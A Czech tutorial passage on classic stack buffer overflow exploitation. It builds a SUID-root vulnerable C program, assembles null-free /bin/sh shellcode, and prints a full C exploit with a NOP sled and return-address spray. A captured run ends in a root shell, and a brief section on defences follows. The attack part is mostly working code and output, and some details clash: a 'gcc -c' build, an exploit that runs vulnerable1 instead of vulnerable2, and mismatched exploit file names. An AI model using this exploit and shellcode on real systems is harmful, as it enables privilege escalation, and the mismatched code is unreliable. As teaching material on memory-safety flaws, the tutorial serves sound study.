Potenciálně velmi nebezpečné jsou programy s nastaveným SUID nebo SGID bitem. SUID nebo SGID bit je určitý typ práv, kterých může v Unixu nabývat jakýkoliv spustitelný soubor. Program s tímto příznakem po nastartování získá taková práva, jako by byl spuštěn přímo vlastníkem souboru. Protože většina programů v systému je vlastněna rootem, získá program se SUID bitem práva super-uživatele. U SGID bitu získá program práva skupiny.
Další početnou skupinou programů, které mohou posloužit k průniku do systému, jsou různí démoni. Takové programy jsou obvykle spouštěny rovnou rootem, a tak mají stejná práva jako on.
Exploitování
Přistupme ale k praktičtější ukázce. Tento výpis zdrojového souboru nechť je modelovou ukázkou kódu, který se pokusíme napadnout.
/* soubor vulnerable2.c */ #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buffer[500]; if (argc >= 2) strcpy(buffer, argv[1]); return 0; }
Aby se s programem dalo něco dělat, řekněme, že je vlastněn uživatelem root
a navíc, že má nastaven SUID bit, takže když se aplikace rozjede, dostane proces práva super-uživatele.
$ gcc -c vulnerable2 -o vulnerable2 $ su Password: # chown root vulnerable2 # chmod 4755 vulnerable2 # exit $ ./vulnerable2 Ahoj! $
Víme, že program na zásobník ukládá 500bajtový buffer. Nad tímto bufferem bude po spuštění ve čtyřech bajtech zapsán starý base pointer (BP), který nás až tak nezajímá, a nad ním 32-bitová návratová adresa z funkce main()
.
Náš útok bude spočívat v tom, že se pokusíme tyto čtyři bajty přepsat na adresu ukazující dovnitř přetékaného bufferu, kam si připravíme strojové instrukce pro spuštění shellu.
+---+---+---+---+---+---+---+---+---+---+---+---+---+ |NOP|NOP|...|NOP| shell-kód... |RET|RET|...|RET| 0 | +---+---+---+---+---+---+---+---+---+---+---+---+---+
Napíšeme si pomocný program, který se postará o sestavení pole dlouhého řekněme 600 bajtů (viz obrázek). Toto pole bude ve své první polovině obsahovat samé instrukce NOP (tedy něco jako „nedělej nic“) a v druhé polovině samé nové návratové adresy, abychom měli větší šanci, že se jednou z nich trefíme do správného místa. Doprostřed se vloží strojové instrukce volající jádro systému s žádostí o spuštění shellu. Toto pole ukončíme nulou, takže se z něj stane právoplatný řetězec, a takto jej předáme jako první argument napadanému programu.
Jelikož je předávaný parametr o 100 bajtů větší než program vulnerable2
očekává, mělo by dojít k přetečení bufferu a k přepsání paměti obsahující údaje o hodnotě base-pointeru a návratové adrese z funkce main()
.
Na dalším obrázku můžete vlevo vidět stav zásobníku napadaného programu před přetečením a vpravo po přetečení. Měli bysme dosáhnout toho, že sekvencí řady návratových adres přepíšeme i místo, kde byla uložena původní návratová adresa.
Trochu problémem může být určení vhodné nové návratové adresy. Měla by ukazovat někam na začátek přetečeného bufferu, do míst, kde se budou nacházet instrukce NOP. Ukončením funkce main()
se tato adresa, v dobré víře, že ukazuje na místo správného návratu podprogramu, použije systémem v instrukci skoku. Jestliže vše dobře dopadne, skočí se – místo na úklidové rutiny pro ukončení procesu – na naše instrukce NOP, za kterými následuje připravený shell-kód, jenž bezodkladně spustí příkazový interpret, ovšem se zděděnými právy roota.
Před přetečením: Po přetečení: +-------------+ MAX +-------------+ | ... | | ... | | prostředí | +-------------+ | a argumenty | | 0 | | ... | | RET | +-------------+ | RET | | RET | | RET | +-------------+ | RET | | starý BP | | shell-kód | +-------------+ | shell-kód | | | | shell-kód | | buffer | | NOP | | 500 B | | NOP | | | | NOP | +-------------+ MIN +-------------+
Pojďme na to. Nejprve si musíme vyrobit patřičný strojový kód pro nastartování příkazového interpretu:
# soubor shell.S .global _start .intel_syntax noprefix _start: jmp ending # skok na konec secondstart: pop esi # získej adresu názvu programu lea ebx, [esi] # přesuň adresu do ebx mov [esi+0x0B], ebx # přesuň adresu názvu souboru # do argv[0] xor edx, edx # vynulování edx mov [esi+7], edx # přidání 0 na konec názvu programu mov [esi+0x0F], edx # vynulování argv[1] mov eax, 0x1234561b # nastavení eax na... xor eax, 0x12345610 # ...0x0000000b lea ecx, [esi+0x0b] # argv[1] do ecx (argv[1] = 0) mov edx, ecx # **envp do edx (**envp = 0) int 0x80 # zavolej execve(ebx,ecx,edx) # ebx=program ecx=**argv edx=**envp xor eax, eax # vynulování eax inc eax # nastavení eax na 1 int 0x80 # exit(ebx) # (ebx není nastaveno) ending: call secondstart # volej secondstart programname: .byte '/','b','i','n','/','s','h'
Uvedený assemblerový program spočívá v tom, že se snažíme nastavit registry na patřičné hodnoty tak, aby to znamenalo žádost o funkci jádra execve()
(tj. spuštění programu) a abychom voláním přerušení 80h (žádost o službu jádra systému) tuto akci vykonali.
Problém je v tom, že kód nemůžeme napsat přímočaře, protože se ve výsledném strojovém kódu nesmějí vyskytovat nulové bajty. Pokud by tam byly, nedošlo by v napadaném programu k přetečení zásobníku, protože funkce strcpy()
předpokládá, že kopíruje řetězec ukončený nulou, a tak by se na prvním nulovém bajtu kopírování zastavilo.
Kódy strojových instrukcí v hexadecimálním tvaru (na výpisu červeně) získáme v souboru shell.log
příkazem
$ as -a -o shell.o shell.S > shell.log $ cat shell.log ... 6 _start: 7 0000 EB24 jmp ending 8 9 secondstart: 10 0002 5E pop esi 11 0003 8D1E lea ebx, [esi] 12 0005 895E0B mov [esi+0x0B], ebx 13 0008 31D2 xor edx, edx 14 000a 895607 mov [esi+7], edx 15 000d 89560F mov [esi+0x0F], edx 16 0010 B81B5634 mov eax, 0x1234561b 16 12 17 0015 35105634 xor eax, 0x12345610 17 12 18 001a 8D4E0B lea ecx, [esi+0x0b] 19 001d 89CA mov edx, ecx 20 001f CD80 int 0x80 22 0021 31C0 xor eax, eax 23 0023 40 inc eax 24 0024 CD80 int 0x80 25 26 ending: 27 0026 E8D7FFFF call secondstart 27 FF 28 29 programname: 30 002b 2F62696E .byte '/','b','i','n','/','s','h' 30 2F7368 ... $
Vše potřebné už máme, a tak můžeme konečně přistoupit k naprogramování samotného exploitu.
/* soubor exploit1.c */ #include <stdlib.h> #define BUFFERSIZE 600 /* vulnerable buffer + 100 bajtu */ char shell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56" "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56" "\x34\x12\x8d\x4e\x0b\x89\xca\xcd\x80\x31\xc0\x40" "\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; unsigned long sp(void) { __asm__("movl %esp, %eax"); } void usage(char *cmd) { printf("\nusage: %s <offset>\n", cmd); exit(-1); } int main(int argc, char *argv[]) { int i, offset; long esp, ret, *addr_ptr; char *buffer, *ptr; if(argc < 2) usage(argv[0]); offset = atoi(argv[1]); /* získej offset */ esp = sp(); /* získej stack pointer */ ret = esp-offset; /* sp - offset = návratová adresa */ /* tisk informací o vypočtených adresách */ printf("Stack pointer: 0x%x\n", esp); printf(" Offset: 0x%x\n", offset); printf(" Return addr: 0x%x\n", ret); /* alokování paměti pro náš buffer */ if (!(buffer = malloc(BUFFERSIZE))) { printf("Nelze alokovat paměť.\n"); exit(-1); } /* vyplnění bufferu návratovými adresami */ ptr = buffer; addr_ptr = (long *) ptr; for (i = 0; i < BUFFERSIZE; i += 4) *(addr_ptr++) = ret; /* vyplnění první poloviny bufferu instrukcemi NOP */ for (i = 0; i < BUFFERSIZE / 2; i++) buffer[i] = '\x90'; /* vložení shell-kódu doprostřed bufferu */ ptr = buffer + ((BUFFERSIZE / 2) - (strlen(shell) / 2)); for (i = 0; i < strlen(shell); i++) *(ptr++) = shell[i]; /* zavolání napadaného programu a předání našeho * bufferu jako argumentu */ buffer[BUFFERSIZE - 1] = 0; execl("./vulnerable1", "vulnerable1", buffer, 0); return 0; }
Program funguje takto: V poli shell
máme uloženy strojové instrukce pro spuštění shellu. Nejobtížnější je výpočet nové návratové adresy: Nejprve nalezneme adresu prázdného zásobníku. Měla by být podobná adrese, na které se nachází zásobník samotného exploitu, a tu určíme pomocí funkce
sp()
. (Kód funkce sp()
pouze vrací hodnotu registru ESP.) Od této adresy je třeba odečíst určitý offset a tím získat adresu počátku přetékaného bufferu. Onen offset určíme experimentálně tak, že jej budeme exploitu předávat jako parametr a hrubou silou odzkoušíme různé hodnoty, dokud nebudeme úspěšní. Já jsem pokusem určil hodnotu offsetu někde kolem čísla 900. Na vašich mašinách se tato hodnota pochopitelně může lišit.
Činnost exploitu pokračuje vytvořením argumentu pro napadaný program (proměnná buffer
). Celý buffer vyplníme vypočtenými návratovými adresami a v druhém kroku uložíme do první poloviny instrukce NOP ( 90h
). Poté se doprostřed bufferu zkopíruje náš shell-kód a buffer se ukončí nulou, čímž se z něj stane řetězec.
Nakonec se pomocí funkce execl
spustí napadaný program a vytvořený buffer se mu předá jako první a jediný parametr.
Tak už nebudeme chodit kolem horké kaše a rovnou exploit spustíme.
$ gcc exploit2.c -o exploit2 $ exploit2 usage: exploit2 <offset> $ exploit2 900 Stack pointer: 0xbffff758 Offset: 0x384 Return addr: 0xbffff3d4 sh-2.05$ whoami root sh-2.05$
A je to. Co dodat? Snad jen to, že pokud si ukázku zkusíte sami doma, pravděpodobně se vám ani tak roota získat nepodaří. Vyzkoumání, proč tomu tak je, vám přenechám jako domácí úkol. :-)
Ochrana
Jak se tedy před buffer-overflow útoky bránit? Především v programech nepoužívat potenciálně nebezpečné funkce jako gets()
, strcpy()
apod., ale raději jejich bezpečnější varianty jako fgets()
,
strncpy()
apod. Vše závisí na programátorovi, zda je schopen dodržovat zásady čistého programování a psát bezpečný kód.
Jiným způsobem ochrany je znemožnění vykonávání kódu uloženého na zásobníku nebo v heapu, jak to praktikují některé operační systémy. Řeší to ale jen část problémů. Stále zde zůstává možnost přepsání hodnot jiných proměnných a podobné kejkle.
Dalším používaným způsobem je, že se mezi proměnnými na zásobníku vynechávají úseky paměti, které se naplní nějakou hodnotou, a pak se nějakou utilitou testuje, zda se tyto hodnoty nezměnily.
A to je vše, přátelé. Doufám, že se vám mé povídání líbilo a že vás inspirovalo k lepším mravům programátorským.